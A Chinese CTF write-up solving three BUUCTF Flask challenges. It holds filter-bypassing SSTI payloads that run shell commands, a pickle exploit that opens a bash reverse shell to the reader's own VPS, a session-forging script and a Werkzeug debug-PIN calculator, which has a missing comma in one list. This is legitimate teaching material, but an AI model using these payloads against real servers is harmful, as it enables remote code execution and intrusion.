buu 部分flask题目

发布于: 2024-10-04 21:59

[pasecactf_2019]flask_ssti

一道ssti题目,题目正常执行ssti,尝试猜测过滤了哪些字符

1

通过测试,可以发现过滤了',.,_三个字符,还是很好绕过的

过滤了单引号可以用双引号替换,过滤点可以用中括号替换,过滤下划线可以用16进制绕过

class,base往上找到基类Object,再从基类Object的子类subclasses里找到os._wrap子类的索引下标127

往下找init,globals实例化对象调用popen函数执行命令,在根目录下没有flag

nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls /")["read"]()}}

查看app.py源码

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'  # Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")

nicknames = [
    '˜”*°★☆★_%s_★☆★°°*', 
    '%s ~♡ⓛⓞⓥⓔ♡~', 
    '%s Вêчңø в øĤлâйĤé', 
    '♪ ♪ ♪ %s ♪ ♪ ♪ ', 
    '[♥♥♥%s♥♥♥]', 
    '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', 
    '♔%s♔', 
    '[♂+♂=♥]%s[♂+♂=♥]'
]

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            p = request.values.get('nickname')
            id = random.randint(0, len(nicknames) - 1)
            if p is not None:
                if '.' in p or '_' in p or '\'' in p:
                    return 'Your nickname contains restricted characters!'
            return render_template_string(nicknames[id] % p)
        except Exception as e:
            print(e)
            return 'Exception'
    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

方法一:逆向

关于flag的关键部分,读取了flag,进行加密放到了config配置里,最后删除了flag文件。加密处理逻辑还在,配置里有加密的flag,逆一下还可以拿flag

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")

拿到配置里的加密flag,{{config}}

3

def decode(encrypted_flag, key, key2):
    decrypted = ''
    for x in range(len(encrypted_flag)):
        # 解密过程,重复加密操作
        char = chr(x ^ ord(encrypted_flag[x]) ^ ord(key[::-1][x]) ^ ord(key2[x]))
        decrypted += char
    return decrypted

# 已知变量
encrypted_flag = '-M7\x10w\x176=4\x06"c-\x0eL\x03bS(D\x18H\n\x17!oT`\x02^\x12\r!V.,\x17`E^\x1eG'
key = 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2 = 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'

# 解密并打印原始flag
flag = decode(encrypted_flag, key, key2)
print("Decrypted flag:", flag)

4

方法二:读取进程

题目先注入flag,启动容器,容器读取flag,容器删除flag,整个过程flask进程一直在运行,所以可以读取进程的内存,拿到flag

用ps命令,查看一下flask进程的pid

nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ps -a")["read"]()}}

看到flask进程pid是1

9

/proc/pid/fd/目录下存放着这个进程读取操作过的文件,包括文件路径,文件内容等

看一下flask进程的fd目录,可以看到这个目录下存放着删除的flag文件,现在文件名是3读一下内容

10

11

[HFCTF 2021 Final]easyflask

/file路由下提示源码在/app/source下,读取一下

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"

@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'
    with open(path, 'r') as fp:
        content = fp.read()
    return content

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
            u = pickle.loads(u)
    except Exception:
        return 'uhh?'
    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'

if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

/proc/self/environ伪文件里记录当前环境变量,可以看到python版本3.8.2,还可以读到源码里提到的密钥,待会可以用来伪造session

6

这道题使用pickle反序列化,存在反序列化漏洞,类似php,反序列化的时候可以执行代码,可以通过__reduce__方法构造一个返回 shell 的对象,__reduce__ 方法由用户自定义,用于定义对象的序列化和反序列化过程,在loads()函数调用时,在重建恢复(反序列化)对象时,会恢复reduce方法里的信息,可以达到命令执行的效果

python2和python3反序列化有些差异,这里需要使用python2来反序列化

#!/usr/bin/python3.4
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/你的vpsIP/7777 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

把ip替换成自己的vpsip,执行脚本,拿到反序列化user对象的字符串

伪造session脚本

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

使用方法:python3 文件名.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'反序列化user对象的字符串'}}"

8

太有意思啦!!

7

[GYCTF2020]FlaskApp

一道flask pin码计算

打开题目,在b64解码界面存在flask模板注入

12

把payload base64编码一下,flask会进行解码,把执行结果直接渲染到前端。尝试{{7*7}},返回了no no no!!,用{{7+7}}返回了14,过滤了*

13

使用base64编码payload,测试到查找子类subclasses时,服务器502,具体到某个子类时才会正常返回结果 14

用脚本爆破出os.wrap在127的位置

15

import base64
import time
import requests

url = 'http://5ef5ad3d-b154-41a3-80ca-bb36ebf2c0ba.node5.buuoj.cn/decode'
for i in range(200):
    text = "{"+"{''.__class__.__base__."+f"__subclasses__()[{i}]"+"}"+"}"
    print(text)
    text = base64.b64encode(text.encode('utf-8')).decode('utf-8')
    data = {
        "text":text
    }
    resp = requests.post(url,data=data)
    if "wrap" in resp.text:
        print(i)

方法一:直接命令执行拿flag

现在拿到了os.wrap,可以做很多事了。题目过滤了popen,拼接绕过一下,可以直接拿flag了。payload记得base64编码

16

17

看其他师傅都是拿debug shell去拿flag,我也试试

方法二:flask debug shell

拿到调试的权限需要有pin码认证。可以通过一些数据计算得到pin码

  • username
  • modname
  • getattr(app, 'name', app.class.name)
  • getattr(mod, 'file', None)
  • uuid
  • machine-id

关于username,modname,appnem,moddir获取方式:

  • username:通过/etc/passwd这个文件去猜
  • modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
  • appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask
  • moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得

通过查看/etc/passwd,推测username是flaskweb

18

modname,appname一般默认,通过报错可以拿到moddir,直接发包一个没有编码的payload就会出现报错信息,拿到路径

19

关于uuid,machine-id获取方式

uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))
machine-id:
machine-id是通过三个文件里面的内容经过处理后拼接起来

1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)

读取/sys/class/net/eth0/address,查看网卡的mac地址

20

把mac地址16进制数转成10进制数得到uuidprint(int("4a:72:b2:e2:e1:14".replace(":",""),16)) # 81856487940372

尝试读取/etc/machine-id/proc/sys/kernel/random/boot_id/proc/self/cgroup

我读到的数据

  • /etc/machine-id 1408f836b0ca514d796cbf8960e45fa1
  • /proc/sys/kernel/random/boot_id f933f6fe-4e47-48a0-9f0a-717fb8a31f0c # 读到文件1了,这个不用管了
  • /proc/self/cgroup 0::/空,不用管了

所以我这里uuid=81856487940372machine-id=1408f836b0ca514d796cbf8960e45fa1

把数据拿到脚本里计算pin码559-535-095,到console目录下认证,拿到debug shell

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb'  # /etc/passwd
    'flask.app',  # 默认
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # 报错路径
]

private_bits = [
    '81856487940372',  # 网卡地址/sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'  # 机器码 /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

拿到flag

21

参考